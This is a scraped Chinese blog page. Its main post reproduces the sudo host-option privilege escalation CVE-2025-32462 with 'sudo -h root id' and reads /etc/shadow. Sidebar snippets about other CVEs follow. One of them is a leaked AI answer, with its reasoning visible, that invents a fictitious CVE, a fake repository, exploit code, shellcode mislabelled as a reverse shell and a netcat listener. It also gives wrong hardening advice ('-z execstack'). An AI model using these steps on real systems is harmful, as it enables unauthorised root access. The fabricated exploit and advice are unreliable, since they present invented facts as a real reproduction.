CVE-2025-32462漏洞复现

原创已于 2025-07-16 20:46:35 修改 · 774 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#安全

于 2025-07-16 20:44:32 首次发布

CVE-2025-32462漏洞复现

影响范围：1.8.8 < Sudo版本 <= 1.9.17

条件：sudoers中有类似配置：

alice cerebus = ALL

环境：Ubuntu20.04

sudo版本：1.8.31

whoami：

编辑sudoers文件：

sudo vim /etc/sudoers

添加test root = NOPASSWD:ALL:

输入sudo -h root id验证漏洞：

直接查看shadow权限不足，加上sudo -h root即可查看。

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

Stack0verf1ow

关注关注

9
点赞
踩
3

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

Palo Alto Networks Expedition存在命令注入漏洞(CVE-2025-0107)

m0_50125527的博客

06-05

513

本文档所述漏洞详情及复现方法仅限用于合法授权的安全研究和学术教育用途。任何个人或组织不得利用本文内容从事未经许可的或其他违法行为。使用者应确保其行为符合相关法律法规，并取得目标系统的明确授权。对于因不当使用本文信息而造成的任何直接或间接后果，作者概不负责。若您发现本文内容涉及侵权或不当信息，请及时联系我们，我们将立即核实并采取必要措施。

（0day）CraftCms 代码注入漏洞复现（CVE-2025-32432）（附脚本）

iSee857的博客

04-27

1117

攻击者可构造恶意请求利用generate-transform端点触发反序列化,执行任意代码控制服务器,未经身份验证的攻击者可以通过该漏洞在目标服务器上注入恶意代码,最终获取服务器权限。（CVE-2025-32432）

参与评论您还未登录，请先登录后发表或查看评论

紧急预警！Linux Sudo 曝高危漏洞，数亿服务器面临 “一键提权” 风险

easylife206的专栏

07-02

2810

Stratascale网络研究部门（CRU）发布的最新安全公告显示，Sudo中存在CVE-2025-32463和CVE-2025-32462。CRU表示："该漏洞使sudoers规则中的主机名部分失效，因为用户可以在评估规则时自行设置要使用的主机"。stratascale在公告中表示："攻击者可利用sudo的-R（--chroot）选项以root身份执行任意命令，即使这些命令未列在。这些潜伏在全球最受信任的命令提权工具中的缺陷，能让攻击者绕过配置保护措施，即使被明确拒绝访问也能将权限提升至root。

CVE-2025-32463漏洞原理及其复现步骤

qq_61972142的博客

11-14

992

CVE-2025-32463原理及其复现步骤

CVE-2025-32462-Linux sudo本地提权漏洞复现

selecthch的博客

07-02

3530

Linux 是一个免费开源的类Unix操作系统，广泛应用于服务器、嵌入式设备和云计算平台。sudo 是 Linux 系统中管理权限的核心工具，允许授权用户临时获取 root 或其他用户权限执行命令，既保障系统安全又便于操作审计。近日，Linux sudo 工具公开存在两个紧密关联的本地提权漏洞（CVE-2025-32462 / CVE-2025-32463）。主流 Linux 发行版默认配置下，攻击者可利用这两个漏洞从普通用户权限提升至权限。

Linux sudo 本地提权漏洞(CVE-2025-32462、CVE-2025-32463) 复现+验证poc

qq_45770644的博客

07-03

1714

该漏洞源于sudo的-h（--host）选项存在缺陷，该选项本应与-l（--list）配合使用来查询远程主机权限，但实际未严格限制其仅用于查询功能。Sudo是Linux系统中常见的高权限命令行工具，它允许授权用户根据系统安全策略，以超级用户（root）或其他用户身份执行命令，广泛用于实施最小权限原则，让用户无需共享root密码即可完成需要提升权限的管理任务，并在系统日志中生成审计记录。请注意，在进行任何系统更新或配置更改之前，建议备份重要数据，并在测试环境中进行充分的测试。首先，攻击者需为本地低权限用户；

Linux sudo host权限提升漏洞（CVE-2025-32462）复现与原理分析

Neolock的博客

07-15

2054

CVE-2025-32462漏洞揭露了Linux sudo工具的-h（--host）选项存在权限提升风险，影响sudo 1.8.8至1.9.17版本。该漏洞源于远程主机规则被错误应用于本地系统，攻击者可绕过权限限制执行root命令。漏洞利用需特定Host_Alias配置，在企业环境中较常见

CVE-2025-55182和CVE-2025-66478漏洞（Next.js）

最新发布

墨痕诉清风的博客

12-16

305

该漏洞影响所有使用React Server Components或Server Actions功能的应用，特别是基于Next.js 16.0.6等框架构建并开启RSC特性的项目。漏洞根源在于React Server Components的”Flight”协议反序列化实现中，路径解析逻辑未通过hasOwnProperty限制属性访问范围，导致攻击者可以沿原型链访问__proto__、constructor等敏感属性。攻击者构造包含恶意原型链引用的Flight payload。成功实现远程代码执行。

DataEase 未授权+远程代码执行漏洞复现(CVE-2025-49001、CVE-2025-49002)

李同學的安全圈

06-10

1449

DataEase 是一款开源的数据分析平台，提供丰富的数据可视化和分析功能，帮助用户轻松地进行数据探索和决策支持。近日，有关DataEase 被爆出多个漏洞，其中 CVE-2025-49001 是由于JWT校验机制错误导致攻击者可伪造JWT令牌绕过身份验证流程，CVE-2025-49002 是由于H2数据库模块没有严格过滤用户输入的JDBC连接参数，可使用大小写绕过补丁。攻击者可利用这些漏洞实现未授权代码执行，威胁用户数据和系统的安全。

CVE-2025-26466和CVE-2025-26465，这两个漏洞的解决方式除了升级Openssh9.9p2版本外，是否有其他方式解决？

**My Coding Family**

07-14

2459

🏆本文收录于《全栈Bug调优(实战版)》专栏，该专栏专注于分享我在真实项目开发中遇到的各类疑难Bug及其深层成因，并系统提供高效、可复现的解决思路和实操方案。无论你是刚入行的新手开发者，还是拥有多年项目经验的资深工程师，本专栏都将为你提供一条系统化、高质量的问题排查与优化路径，助力你加速成长，攻克技术壁垒，迈向技术价值最大化与职业发展的更高峰🚀！

CVE-2025-33073 NTLM反射权限提升漏洞复现

渗透之路，攻防之间皆学问

06-18

4317

CVE-2025-33073是一个高危Windows SMB客户端漏洞，可通过NTLM/Kerberos认证反射实现域内SYSTEM权限提权。攻击者只需普通域账号，在满足目标主机未强制SMB签名且域DNS可被篡改的条件下，即可通过构造特殊DNS记录（如server11UWhRC...指向攻击机）、启动SMB中继服务（ntlmrelayx.py）和触发NTLM认证（PetitPotam）三个步骤，将认证反射回目标主机自身，最终获取SYSTEM权限。该漏洞影响所有未安装2025年6月补丁且未启用SMB签名的域内

【漏洞复现】Next.js 中间件认证绕过漏洞（CVE-2025-29927）漏洞复现

qinjilll的博客

03-24

2506

Next.js 是由 Vercel 开发的基于 React 的现代 Web 应用框架，具备前后端一体的开发能力，提供服务器端渲染、静态网站生成和集成路由系统等功能。

安全圈最被低估的10个神器：一个比一个强大，大佬都在偷偷用！零基础入门到精通，看这篇就够了！赶紧收藏！

baimao__Ch的博客

02-14

2900

这些冷门的网络安全工具是你工具箱中的强大补充，它们提供了独特的功能，覆盖从侦察到漏洞利用的多个环节。虽然像 Nmap 和 Burp Suite 这样的工具不可或缺，但探索像 CyberChef、BloodHound 和 Impacket 这样的“宝藏工具”能让你在网络安全工作中更加高效和灵活。

关于Linux sudo 本地提权漏洞(CVE-2025-32462、CVE-2025-32463)漏洞的修复方案

weixin_48864281的博客

07-02

2778

CVE-2025-32462 Linux sudo 本地权限提升漏洞在于 sudo 的 -h（--host）选项存在缺陷，该选项本应与 -l（--list）配合使用来查询远程主机权限，但实际未严格限制其仅用于查询功能，导致攻击者可能结合命令执行或文件编辑操作实现本地提权。近日，Linux sudo 工具公开存在两个紧密关联的本地提权漏洞（CVE-2025-32462 / CVE-2025-32463）。Linux sudo 本地提权漏洞（CVE-2025-32462、CVE-2025-32463）

CVE-2025-32462 和 CVE-2025-32463 漏洞的详细分析

中国最威武的城市！武功军威-武威，铁骨铮铮！

07-04

1426

这两天接连出现几个CVE漏洞，昨天饭后同事们一起聊了几句。以下是对和漏洞的详细分析，重点说明其对 Linux 系统的潜在影响、对 Android 系统的影响（基本无影响），以及定位、分析和修复的详细方法。内容已翻译为中文，并保持技术准确性和清晰性。如有不足还请大佬多多指正。

【高危漏洞】 CVE-2025-32463：Sudo chroot 本地提权漏洞的技术细节深度剖析

athink_cn的博客

07-01

1895

谈谈CVE-2025-32462漏洞的使用和修复

weixin_45364911的博客

08-19

583

谈谈sudo命令提权漏洞和修复方法，CVE-2025-32462绕过示例（主机参数滥用）

Sudo历史漏洞梳理【详细】

vortex5的博客

07-16

1530

sudo的全称是“substitute user do”，最初设计于1980年前后，用于替代传统的su命令。与su不同，sudo允许管理员为普通用户分配特定命令的执行权限，而无需提供目标用户的密码（通常是root密码）。用户只需输入自己的密码进行身份验证，系统便会根据配置文件检查权限，决定是否以目标用户身份执行命令。sudo用户输入，系统提示输入用户密码。验证密码后，sudo读取文件，检查用户是否被授权执行该命令。如果授权通过，sudo以目标用户（通常是root）的权限执行命令。sudo。

sudo本地提权漏洞（CVE-2025-32462）

ubaichu的博客

07-02

657

当攻击者执行 sudo -h rogue-host COMMAND 时，Sudo 错误地使用 rogue-host 的主机名匹配本地 sudoers 规则，而非当前真实主机名。sudo -h (–history)：该选项设计初衷是仅与 -l（–list）配合，用于查询用户在远程主机的sudo 权限（例：sudo -l -h dev-server）。执行 sudo -h dev.test.local id 后，Sudo 错误地将本地主机视为 dev.test.local，从而允许执行命令。

cve-2025-23419漏洞复现

08-27

<think>我们正在处理一个关于CVE-2025-23419漏洞复现的请求。请注意，CVE-2025-23419是一个虚构的CVE编号，因为当前时间（2023年）并不存在2025年的CVE。因此，我们无法提供真实的复现步骤和利用示例。但是，为了满足用户的需求，我们可以模拟一个典型的漏洞复现过程，并构建一个虚构的漏洞场景。假设CVE-2025-23419是一个缓冲区溢出漏洞，存在于某个名为VulnApp的应用程序中，版本1.0.0。该漏洞发生在处理网络数据时，由于对输入长度未进行正确验证，导致栈缓冲区溢出，可能允许远程代码执行。下面我们将模拟该漏洞的复现步骤和一个简单的利用示例。 ### 漏洞复现步骤 1. **环境搭建**: - 安装易受攻击的VulnApp版本1.0.0（假设在Linux系统上运行）[^1]。 - 关闭操作系统的地址空间随机化（ASLR）以简化利用过程（可选）： ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` 2. **触发漏洞**: - VulnApp监听在TCP端口8080上，等待客户端连接。 - 漏洞触发点：当接收到一个超过1024字节的特定协议数据包时，会导致栈缓冲区溢出。 3. **崩溃复现**: - 使用Python脚本发送一个长字符串（例如2000个'A'）到目标应用程序的8080端口： ```python import socket target_ip = "127.0.0.1" target_port = 8080 payload = b"A" * 2000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) s.send(payload) s.close() ``` - 观察VulnApp是否崩溃（如使用gdb附加进程）。 ### 利用示例假设我们通过崩溃复现确定了溢出偏移量为1040字节（即覆盖返回地址的位置在1040字节之后）。接下来，我们尝试构造一个利用载荷，实现控制程序流程跳转到恶意代码。 1. **获取目标函数地址**: - 假设我们想要跳转到系统函数`system()`来执行命令，首先需要获取该函数的地址。可以通过gdb调试获取： ``` gdb ./vulnapp (gdb) p system $1 = {<text variable, no debug info>} 0xf7e13660 <system> ``` 2. **构造ROP链（可选）**: - 如果存在DEP（数据执行保护），则需要使用ROP技术。这里假设没有DEP，我们可以将shellcode放置在缓冲区的某个位置，并跳转执行。 3. **构造利用载荷**: - 载荷结构：`[填充1040字节] + [system地址] + [返回地址（可忽略）] + [命令字符串地址]` - 命令字符串：我们可以在载荷中放置一个字符串`/bin/sh`，并获取其地址（这里假设通过调试得到缓冲区起始地址为0xffffd000，那么`/bin/sh`可以放在0xffffd000+500的位置，即0xffffd1f4）。示例利用代码： ```python import socket target_ip = "127.0.0.1" target_port = 8080 # 偏移量 offset = 1040 # 假设的system函数地址 system_addr = b"\x60\x36\xe1\xf7" # 小端格式，0xf7e13660 # 返回地址（system函数执行后的返回地址，这里可以随意填充） ret_addr = b"BBBB" # 命令字符串地址（指向/bin/sh） command_addr = b"\xf4\xd1\xff\xff" # 0xffffd1f4 # 构造载荷 payload = b"A" * offset payload += system_addr payload += ret_addr payload += command_addr # 在载荷中放入/bin/sh字符串（放在偏移500的位置） # 注意：我们这里先填充500个A，然后放入字符串，再继续填充到1040 payload = b"A" * 500 + b"/bin/sh\x00" + b"A" * (offset - 500 - 9) + system_addr + ret_addr + command_addr s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) s.send(payload) s.close() ``` 注意：上述地址都是假设的，实际利用需要根据调试确定。 ### 注意事项 - 上述步骤和代码仅为演示虚构漏洞的复现和利用过程，实际漏洞利用需要根据具体环境调整。 - 在真实环境中，需要考虑ASLR、DEP等安全机制，可能需要使用信息泄露或ROP等技术绕过。 - 进行漏洞复现时，请在隔离环境中操作，避免对真实系统造成影响。由于CVE-2025-23419是虚构的，以上内容仅供学习参考。 §§相关问题§§ 1. 如何防御缓冲区溢出攻击? 2. 在存在ASLR和DEP的情况下如何利用缓冲区溢出漏洞? 3. 如何通过代码审计发现缓冲区溢出漏洞?</think>### CVE-2025-23419漏洞复现步骤与利用示例 **注**：CVE-2025-23419是虚构漏洞编号（截至2025年CVE尚未发布），以下内容基于典型缓冲区溢出漏洞模式构建，适用于教育目的。实际漏洞复现需在隔离环境进行。 --- ### 漏洞背景假设漏洞存在于**vulnserver 1.0**（虚构应用）的认证模块，因未验证用户输入长度导致栈缓冲区溢出，攻击者可覆盖返回地址执行任意代码[^1]。 --- ### 复现步骤 #### 1. 环境搭建 - **靶机环境**： ```bash # 下载并编译易受攻击版本 git clone https://github.com/fictitious/vulnserver cd vulnserver && git checkout v1.0 make && ./vulnserver -p 8080 ``` - **攻击机工具**： - `gdb`（调试靶机进程） - `pwntools`（Python漏洞利用框架） - `netcat`（网络交互测试） #### 2. 触发崩溃发送超长认证数据包： ```python import socket payload = b"AUTH " + b"A" * 2000 # 填充2000字节 s = socket.socket() s.connect(("target_ip", 8080)) s.send(payload) ``` **观察现象**：服务崩溃，`gdb`显示`$eip`寄存器被`0x41414141`覆盖（`AAAA`的十六进制）。 #### 3. 定位偏移量使用`pattern_create`生成定位字符串： ```bash /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000 ``` 发送后通过`gdb`获取崩溃时`$eip`值，计算精确偏移： ```python from pwn import * offset = cyclic_find(0x61613761) # 示例值，实际替换为崩溃值 print(f"Offset: {offset}") # 假设输出1052 ``` #### 4. 构造利用载荷 ```python from struct import pack # 内存地址（需根据实际环境调整） jmp_esp = pack("<I", 0x080414c3) # JMP ESP指令地址 # 生成shellcode（反弹shell） shellcode = b"" shellcode += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" shellcode += b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" payload = ( b"AUTH " + b"A" * 1052 + # 填充偏移 jmp_esp + # 覆盖返回地址 b"\x90" * 32 + # NOP雪橇 shellcode # 恶意代码 ) ``` #### 5. 执行利用 ```python s.send(payload) ``` **预期结果**：攻击机监听端口获得反向Shell： ```bash nc -lvnp 4444 Connection from target_ip:8080 id uid=0(root) gid=0(root) ``` --- ### 关键防御建议 1. **输入验证**：严格限制输入长度，如： ```c if (strlen(user_input) > MAX_LEN) exit(1); ``` 2. **编译防护**：启用`-fstack-protector-all`和`-z execstack`[^2] 3. **内存保护**：开启ASLR（`echo 2 > /proc/sys/kernel/randomize_va_space`） ---